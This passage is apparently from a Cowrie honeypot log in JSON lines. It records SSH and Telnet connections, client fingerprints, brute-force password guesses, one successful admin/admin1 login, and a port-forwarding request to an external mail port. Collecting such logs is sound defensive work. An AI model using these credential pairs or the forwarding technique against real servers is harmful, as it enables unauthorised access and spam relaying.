{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:75:d5:95:eb:b6:ef:ef:9b:be:67:c2:e9:59:54:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvDQEC1EwLC+NZNg+4I9atVEsWT0xcXgoGcloqkAyQMzu8hi89IFeXtm/DXOd5wcrQzeIrGYszxzb7B2EP9Vupn3QJwtfRzDaNuEj5uOS5BvV5kLoGOFQMcb3Jo0B2oiOMBfO2fi43qMyghIC/HnyIZMoTfFXnmzJhhK88bm3zeE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:75:d5:95:eb:b6:ef:ef:9b:be:67:c2:e9:59:54:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:17.041996Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:75:d5:95:eb:b6:ef:ef:9b:be:67:c2:e9:59:54:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvDQEC1EwLC+NZNg+4I9atVEsWT0xcXgoGcloqkAyQMzu8hi89IFeXtm/DXOd5wcrQzeIrGYszxzb7B2EP9Vupn3QJwtfRzDaNuEj5uOS5BvV5kLoGOFQMcb3Jo0B2oiOMBfO2fi43qMyghIC/HnyIZMoTfFXnmzJhhK88bm3zeE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:17.046082Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:37:e0:34:2a:b3:53:8a:e3:fb:9f:39:b7:45:cd:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwuutqxq5Mqh9wX7wK+tjdFa35mFwb2kuIC26OLHZOSFnrEBNi7q1xucSwyrePZZgaW1ef7ovVJZ3S3wi80v6icYhXcmxg0MjARUjUJcN3yftKyP0TZFbljQaIdtEsR92DK8HoyIWyj0oCQeTTCbPDftDfEtRVFn/CgUB+31E56tzDd6U+DdilpLI5OT4gm+nRkDFJXfgkrfUztThUEVdAE0gvkqmvwG0FSTujSrgfYmtdOWhGm/q2xAtxIObLdbIQVEgwTbnA+y2sV9mrFU5YcV8Zp5a0vZTdtiFaPfC1tnRxvmPegox4KHy0K7RTEtFCzXxPSq/8Bef0WzD3GPJF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:37:e0:34:2a:b3:53:8a:e3:fb:9f:39:b7:45:cd:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:17.148650Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:37:e0:34:2a:b3:53:8a:e3:fb:9f:39:b7:45:cd:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwuutqxq5Mqh9wX7wK+tjdFa35mFwb2kuIC26OLHZOSFnrEBNi7q1xucSwyrePZZgaW1ef7ovVJZ3S3wi80v6icYhXcmxg0MjARUjUJcN3yftKyP0TZFbljQaIdtEsR92DK8HoyIWyj0oCQeTTCbPDftDfEtRVFn/CgUB+31E56tzDd6U+DdilpLI5OT4gm+nRkDFJXfgkrfUztThUEVdAE0gvkqmvwG0FSTujSrgfYmtdOWhGm/q2xAtxIObLdbIQVEgwTbnA+y2sV9mrFU5YcV8Zp5a0vZTdtiFaPfC1tnRxvmPegox4KHy0K7RTEtFCzXxPSq/8Bef0WzD3GPJF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:17.153250Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:17.255776Z","src_ip":"92.246.87.54","session":"48511d34db11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35973,"dst_ip":"10.17.0.5","dst_port":23,"session":"3013a523dd61","protocol":"telnet","message":"New connection: 212.55.149.117:35973 (10.17.0.5:23) [session: 3013a523dd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:30:59.193252Z"}
{"eventid":"cowrie.session.closed","duration":60.31125569343567,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:31:59.504406Z","src_ip":"212.55.149.117","session":"3013a523dd61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46393,"dst_ip":"10.17.0.5","dst_port":23,"session":"5298732fb157","protocol":"telnet","message":"New connection: 212.55.149.117:46393 (10.17.0.5:23) [session: 5298732fb157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:09.095239Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":54218,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b9ea1b689be","protocol":"telnet","message":"New connection: 199.103.57.63:54218 (159.203.135.109:23) [session: 4b9ea1b689be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:33.196665Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":17499,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b67828fdf08","protocol":"ssh","message":"New connection: 193.46.255.86:17499 (10.17.0.5:22) [session: 4b67828fdf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:57.293296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:57.298839Z","src_ip":"193.46.255.86","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:57.425767Z","src_ip":"193.46.255.86","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:58.011466Z","src_ip":"193.46.255.86","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:58.140058Z","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:58.268594Z","src_ip":"193.46.255.86","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:32:58.398401Z","src_ip":"193.46.255.86","session":"4b67828fdf08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76862978935242,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:33:06.965177Z","src_ip":"199.103.57.63","session":"4b9ea1b689be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.51375079154968,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:33:09.608871Z","src_ip":"212.55.149.117","session":"5298732fb157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":26893,"dst_ip":"10.17.0.5","dst_port":23,"session":"122f100f8db7","protocol":"telnet","message":"New connection: 212.55.149.117:26893 (10.17.0.5:23) [session: 122f100f8db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:33:24.713891Z"}
{"eventid":"cowrie.session.closed","duration":61.05689454078674,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:34:25.770670Z","src_ip":"212.55.149.117","session":"122f100f8db7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.136.2","src_port":37284,"dst_ip":"10.17.0.5","dst_port":23,"session":"227bacec0d3e","protocol":"telnet","message":"New connection: 157.49.136.2:37284 (10.17.0.5:23) [session: 227bacec0d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:34:45.444797Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":34281,"dst_ip":"10.17.0.5","dst_port":23,"session":"a22b3e7147c5","protocol":"telnet","message":"New connection: 212.55.149.117:34281 (10.17.0.5:23) [session: a22b3e7147c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:34:55.026459Z"}
{"eventid":"cowrie.session.closed","duration":14.720370292663574,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:35:00.165018Z","src_ip":"157.49.136.2","session":"227bacec0d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01128554344177,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:55.037618Z","src_ip":"212.55.149.117","session":"a22b3e7147c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":7418,"dst_ip":"159.203.135.109","dst_port":22,"session":"914ea29fc965","protocol":"ssh","message":"New connection: 193.24.211.100:7418 (159.203.135.109:22) [session: 914ea29fc965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:55.703804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:55.708633Z","src_ip":"193.24.211.100","session":"914ea29fc965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:55.818850Z","src_ip":"193.24.211.100","session":"914ea29fc965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"123321","password":"11111","message":"login attempt [123321/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:56.252056Z","src_ip":"193.24.211.100","session":"914ea29fc965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:36:57.370643Z","src_ip":"193.24.211.100","session":"914ea29fc965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1bf920bbb3b","protocol":"telnet","message":"New connection: 212.55.149.117:14538 (10.17.0.5:23) [session: e1bf920bbb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:03.802587Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":3655,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b898d88a1b","protocol":"ssh","message":"New connection: 84.239.42.8:3655 (159.203.135.109:22) [session: a6b898d88a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:15.987015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:15.991889Z","src_ip":"84.239.42.8","session":"a6b898d88a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:16.121142Z","src_ip":"84.239.42.8","session":"a6b898d88a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"987654321","message":"login attempt [admin/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:16.627442Z","src_ip":"84.239.42.8","session":"a6b898d88a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:17.759509Z","src_ip":"84.239.42.8","session":"a6b898d88a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11967,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c2d71166a4","protocol":"ssh","message":"New connection: 2.57.121.25:11967 (159.203.135.109:22) [session: d0c2d71166a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:46.441206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:46.445816Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:46.551704Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"190190","message":"login attempt [user/190190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:47.045993Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19011994","message":"login attempt [user/19011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:48.154922Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18091981","message":"login attempt [user/18091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:49.263130Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18081991","message":"login attempt [user/18081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:50.372087Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180784","message":"login attempt [user/180784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:51.480906Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:38:52.589701Z","src_ip":"2.57.121.25","session":"d0c2d71166a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.14178705215454,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:02.944270Z","src_ip":"212.55.149.117","session":"e1bf920bbb3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.110","src_port":55578,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a1b32045d8","protocol":"ssh","message":"New connection: 89.45.12.110:55578 (10.17.0.5:22) [session: 71a1b32045d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:53.484070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:39:53.489164Z","src_ip":"89.45.12.110","session":"71a1b32045d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 